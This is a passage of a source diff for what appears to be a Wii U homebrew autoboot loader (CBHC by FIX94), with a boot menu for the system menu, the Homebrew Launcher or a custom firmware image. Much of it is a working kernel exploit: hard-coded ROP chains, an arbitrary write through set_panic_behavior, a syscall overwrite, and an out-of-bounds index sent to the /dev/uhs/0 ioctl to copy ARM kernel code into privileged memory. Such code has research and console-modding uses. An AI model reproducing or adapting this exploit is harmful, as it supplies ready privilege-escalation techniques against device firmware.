(IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(arm_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x01E40000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x01E30000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(unsigned int coreinit_handle); +static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val); +static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle); + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs)) +#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs)) + +#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R) +#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y) +#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf" + +static const char *verChar = "CBHC v1.0 by FIX94"; + +#define DEFAULT_DISABLED 0 +#define DEFAULT_SYSMENU 1 +#define DEFAULT_HBL 2 +#define DEFAULT_CFW_IMG 3 +#define DEFAULT_MAX 4 + +static const char *defOpts[DEFAULT_MAX] = { + "DEFAULT_DISABLED", + "DEFAULT_SYSMENU", + "DEFAULT_HBL", + "DEFAULT_CFW_IMG", +}; + +static const char *bootOpts[DEFAULT_MAX] = { + "Disabled", + "System Menu", + "Homebrew Launcher", + "fw.img on SD Card", +}; + +#define LAUNCH_SYSMENU 0 +#define LAUNCH_HBL 1 +#define LAUNCH_CFW_IMG 2 + +#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp); +#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf); +#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); + +uint32_t __main(void) +{ + unsigned int coreinit_handle; + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); + + void (*DCStoreRange)(const void *addr, uint32_t length); + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); + + void (*OSExitThread)(int); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + + unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); + OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); + unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); + + //set up default hbl path + strcpy((void*)0xF5E70000,SD_HBL_PATH); + + unsigned int vpad_handle; + OSDynLoad_Acquire("vpad.rpl", &vpad_handle); + + int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); + OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); + + int vpadError = -1; + VPADData vpad; + VPADRead(0, &vpad, 1, &vpadError); + if(vpadError == 0) + { + if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU) + { + // iosuhax-less menu launch backup code + int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr); + OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash); + _SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0); + OSExitThread(0); + return 0; + } + else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL) + { + // original hbl loader payload + return 0x01800000; + } + } + + unsigned int *pMEMAllocFromDefaultHeapEx; + unsigned int *pMEMFreeToDefaultHeap; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); + void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); + void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); + + void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); + void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); + + int(*FSInit)(void); + void(*FSShutdown)(void); + int(*FSAddClient)(void *pClient, int errHandling); + int(*FSDelClient)(void *pClient); + void(*FSInitCmdBlock)(void *pCmd); + + int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling); + int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); + + OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); + OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown); + OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); + OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient); + OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient); + OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile); + OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); + + unsigned int act_handle; + OSDynLoad_Acquire("nn_act.rpl", &act_handle); + + unsigned int save_handle; + OSDynLoad_Acquire("nn_save.rpl", &save_handle); + void(*SAVEInit)(void); + void(*SAVEShutdown)(void); + void(*SAVEInitSaveDir)(unsigned char user); + int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling); + int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling); + void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling); + OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit); + OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown); + OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir); + OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile); + OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota); + OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename); + + void(*nn_act_initialize)(void); + unsigned char(*nn_act_getslotno)(void); + void(*nn_act_finalize)(void); + OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize); + OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno); + OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize); + + FSInit(); + nn_act_initialize(); + unsigned char slot = nn_act_getslotno(); + SAVEInit(); + SAVEInitSaveDir(slot); + FSAddClient(pClient, -1); + FSInitCmdBlock(pCmd); + + int autoboot = -1; + int iFd = -1; + int i; + for(i = 0; i < DEFAULT_MAX; i++) + { + SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1); + if (iFd >= 0) + { + autoboot = i; + FSCloseFile(pClient, pCmd, iFd, -1); + break; + } + } + if(autoboot < 0) + { + autoboot = DEFAULT_DISABLED; + SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1); + if (iFd >= 0) + FSCloseFile(pClient, pCmd, iFd, -1); + } + int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU; + int cur_autoboot = autoboot; + + void(*OSScreenInit)(); + void(*OSScreenEnableEx)(int,int); + unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); + unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); + + unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); + + unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + + unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); + OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); + + OSScreenInit(); + int screen_buf0_size = OSScreenGetBufferSizeEx(0); + OSScreenSetBufferEx(0, (void *)0xF4000000); + OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); + OSScreenEnableEx(1, 0); + OSScreenEnableEx(1, 1); + + unsigned int padscore_handle; + OSDynLoad_Acquire("padscore.rpl", &padscore_handle); + + void(*OSSleepTicks)(unsigned long long ticks); + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks); + + void(*WPADEnableURCC)(int enable); + void(*KPADSetConnectCallback)(int chan, void *ptr); + void*(*WPADSetSyncDeviceCallback)(void *ptr); + void(*KPADShutdown)(void); + OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC); + OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback); + OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback); + OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown); + //easly allows us callback without execute permission on other cores + char(*WPADGetSpeakerVolume)(void); + void(*WPADSetSpeakerVolume)(char); + OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume); + OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume); + //enable wiiu pro controller connection + WPADEnableURCC(1); + //hachihachi instantly disconnects wiimotes normally + KPADSetConnectCallback(0,NULL); + KPADSetConnectCallback(1,NULL); + KPADSetConnectCallback(2,NULL); + KPADSetConnectCallback(3,NULL); + char oriVol = WPADGetSpeakerVolume(); + //WPAD_SYNC_EVT=0 is button pressed + WPADSetSpeakerVolume(1); + WPADSetSyncDeviceCallback(WPADSetSpeakerVolume); + + if(autoboot == DEFAULT_DISABLED) + goto cbhc_menu; + + OSScreenClearBuffer(0); + OSScreenPutFont(0, 0, verChar); + OSScreenPutFont(0, 1, "Autobooting..."); + OSScreenFlipBuffers(); + + //garbage read + getButtonsDown(padscore_handle, vpad_handle); + //see if menu is requested + int loadMenu = 0; + int waitCnt = 40; + while(waitCnt--) + { + unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); + + if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0) + { + WPADSetSpeakerVolume(1); + loadMenu = 1; + break; + } + usleep(50000); + } + + if(loadMenu == 0) + goto doIOSUexploit; + + OSScreenClearBuffer(0); + OSScreenPutFont(0, 0, verChar); + OSScreenPutFont(0, 1, "Entering Menu..."); + OSScreenFlipBuffers(); + waitCnt = 30; + while(waitCnt--) + { + getButtonsDown(padscore_handle, vpad_handle); + usleep(50000); + } + +cbhc_menu: ; + int redraw = 1; + int PosX = 0; + int ListMax = 4; + int clickT = 0; + while(1) + { + unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); + + if(WPADGetSpeakerVolume() == 0) + { + if(clickT == 0) + clickT = 8; + else + { + btnDown |= VPAD_BUTTON_A; + clickT = 0; + } + WPADSetSpeakerVolume(1); + } + else if(clickT) + { + clickT--; + if(clickT == 0) + btnDown |= VPAD_BUTTON_DOWN; + } + + if( btnDown & VPAD_BUTTON_DOWN ) + { + if(PosX+1 == ListMax) + PosX = 0; + else + PosX++; + redraw = 1; + } + + if( btnDown & VPAD_BUTTON_UP ) + { + if( PosX <= 0 ) + PosX = (ListMax-1); + else + PosX--; + redraw = 1; + } + + if( btnDown & VPAD_BUTTON_A ) + { + if(PosX == 3) + { + cur_autoboot++; + if(cur_autoboot == DEFAULT_MAX) + cur_autoboot = DEFAULT_DISABLED; + redraw = 1; + } + else + { + launchmode = PosX; + break; + } + } + + if(redraw) + { + OSScreenClearBuffer(0); + OSScreenPutFont(0, 0, verChar); + + char printStr[64]; + __os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' '); + OSScreenPutFont(0, 1, printStr); + __os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' '); + OSScreenPutFont(0, 2, printStr); + __os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 2 == PosX ? '>' : ' '); + OSScreenPutFont(0, 3, printStr); + __os_snprintf(printStr,64,"%c Autoboot: %s", 3 == PosX ? '>' : ' ', bootOpts[cur_autoboot]); + OSScreenPutFont(0, 4, printStr); + + OSScreenFlipBuffers(); + redraw = 0; + } + usleep(50000); + } + OSScreenClearBuffer(0); + OSScreenFlipBuffers(); + usleep(50000); + +doIOSUexploit: + WPADSetSpeakerVolume(oriVol); + KPADShutdown(); + + if(cur_autoboot != autoboot) + SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1); + + SAVEFlushQuota(pClient, pCmd, slot, -1); + FSDelClient(pClient); + SAVEShutdown(); + nn_act_finalize(); + FSShutdown(); + + MEMFreeToDefaultHeap(pClient); + MEMFreeToDefaultHeap(pCmd); + + OSScreenClearBuffer(0); + OSScreenFlipBuffers(); + + memcpy((void*)0xF5E70100, &sysmenu, 8); + *(volatile unsigned int*)0xF5E70120 = (launchmode == LAUNCH_CFW_IMG); + DCStoreRange((void*)0xF5E70100, 0x40); + + int (*OSForceFullRelaunch)(void); + OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); + + //for patched menu launch + void (*SYSLaunchMenu)(void); + OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu); + + int (*IOS_Open)(char *path, unsigned int mode); + int (*IOS_Close)(int fd); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close); + + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node + uhs_exploit_init(coreinit_handle); //! Init variables for the exploit + + //!------ROP CHAIN------- + + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + + if(launchmode == LAUNCH_HBL) + return 0x01800000; + //sysmenu or cfw + if(launchmode == LAUNCH_CFW_IMG) + OSForceFullRelaunch(); + SYSLaunchMenu(); + OSExitThread(0); + return 0; +} + +static unsigned int wpadToVpad(unsigned int buttons) +{ + unsigned int conv_buttons = 0; + + if(buttons & WPAD_BUTTON_LEFT) + conv_buttons |= VPAD_BUTTON_LEFT; + + if(buttons & WPAD_BUTTON_RIGHT) + conv_buttons |= VPAD_BUTTON_RIGHT; + + if(buttons & WPAD_BUTTON_DOWN) + conv_buttons |= VPAD_BUTTON_DOWN; + + if(buttons & WPAD_BUTTON_UP) + conv_buttons |= VPAD_BUTTON_UP; + + if(buttons & WPAD_BUTTON_PLUS) + conv_buttons |= VPAD_BUTTON_PLUS; + + if(buttons & WPAD_BUTTON_2) + conv_buttons |= VPAD_BUTTON_X; + + if(buttons & WPAD_BUTTON_1) + conv_buttons |= VPAD_BUTTON_Y; + + if(buttons & WPAD_BUTTON_B) + conv_buttons |= VPAD_BUTTON_B; + + if(buttons & WPAD_BUTTON_A) + conv_buttons |= VPAD_BUTTON_A; + + if(buttons & WPAD_BUTTON_MINUS) + conv_buttons |= VPAD_BUTTON_MINUS; + + if(buttons & WPAD_BUTTON_HOME) + conv_buttons |= VPAD_BUTTON_HOME; + + return conv_buttons; +} + +static unsigned int wpadClassicToVpad(unsigned int buttons) +{ + unsigned int conv_buttons = 0; + + if(buttons & WPAD_CLASSIC_BUTTON_LEFT) + conv_buttons |= VPAD_BUTTON_LEFT; + + if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) + conv_buttons |= VPAD_BUTTON_RIGHT; + + if(buttons & WPAD_CLASSIC_BUTTON_DOWN) + conv_buttons |= VPAD_BUTTON_DOWN; + + if(buttons & WPAD_CLASSIC_BUTTON_UP) + conv_buttons |= VPAD_BUTTON_UP; + + if(buttons & WPAD_CLASSIC_BUTTON_PLUS) + conv_buttons |= VPAD_BUTTON_PLUS; + + if(buttons & WPAD_CLASSIC_BUTTON_X) + conv_buttons |= VPAD_BUTTON_X; + + if(buttons & WPAD_CLASSIC_BUTTON_Y) + conv_buttons |= VPAD_BUTTON_Y; + + if(buttons & WPAD_CLASSIC_BUTTON_B) + conv_buttons |= VPAD_BUTTON_B; + + if(buttons & WPAD_CLASSIC_BUTTON_A) + conv_buttons |= VPAD_BUTTON_A; + + if(buttons & WPAD_CLASSIC_BUTTON_MINUS) + conv_buttons |= VPAD_BUTTON_MINUS; + + if(buttons & WPAD_CLASSIC_BUTTON_HOME) + conv_buttons |= VPAD_BUTTON_HOME; + + if(buttons & WPAD_CLASSIC_BUTTON_ZR) + conv_buttons |= VPAD_BUTTON_ZR; + + if(buttons & WPAD_CLASSIC_BUTTON_ZL) + conv_buttons |= VPAD_BUTTON_ZL; + + if(buttons & WPAD_CLASSIC_BUTTON_R) + conv_buttons |= VPAD_BUTTON_R; + + if(buttons & WPAD_CLASSIC_BUTTON_L) + conv_buttons |= VPAD_BUTTON_L; + + return conv_buttons; +} + +static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle) +{ + int(*WPADProbe)(int chan, int * pad_type); + int(*KPADRead)(int chan, void * data, int size); + OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe); + OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead); + + unsigned int btnDown = 0; + + int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); + OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); + + int vpadError = -1; + VPADData vpad; + VPADRead(0, &vpad, 1, &vpadError); + if(vpadError == 0) + btnDown |= vpad.btns_d; + + int i; + for(i = 0; i < 4; i++) + { + int controller_type; + if(WPADProbe(i, &controller_type) != 0) + continue; + KPADData kpadData; + KPADRead(i, &kpadData, 1); + if(kpadData.device_type <= 1) + btnDown |= wpadToVpad(kpadData.btns_d); + else + btnDown |= wpadClassicToVpad(kpadData.classic.btns_d); + } + + return btnDown; +} + +static void uhs_exploit_init(unsigned int coreinit_handle) +{ + void (*DCStoreRange)(const void *addr, uint32_t length); + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); + + //! Clear out our used MEM1 area + memset((void*)0xF5E00000, 0, 0x00070000); + DCStoreRange((void*)0xF5E00000, 0x00070000); + + //!------Variables used in exploit------ + int *pretend_root_hub = (int*)0xF5E60640; + int *ayylmao = (int*)0xF5E00000; + //!------------------------------------- + + ayylmao[5] = 1; + ayylmao[8] = 0x1E00000; + + memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); + memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); + + pretend_root_hub[33] = 0x1E00000; + pretend_root_hub[78] = 0; + + //! Store current CPU cache into main memory for IOSU to read + DCStoreRange(ayylmao, 0x840); + + DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); + DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); + DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); + DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); + + DCStoreRange(pretend_root_hub, 0x160); +} + +static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) +{ + void (*DCStoreRange)(const void *addr, uint32_t length); + void (*OSSleepTicks)(uint64_t ticks); + int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len); + OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); + OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); + + //!------Variables used in exploit------ + int *ayylmao = (int*)0xF5E00000; + //!------------------------------------- + + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read + OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU + //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, + //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 + int request_buffer[] = { -(0xB349B), val }; + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} diff --git a/dsrom/CBHC/pad.h b/dsrom/CBHC/pad.h new file mode 100644 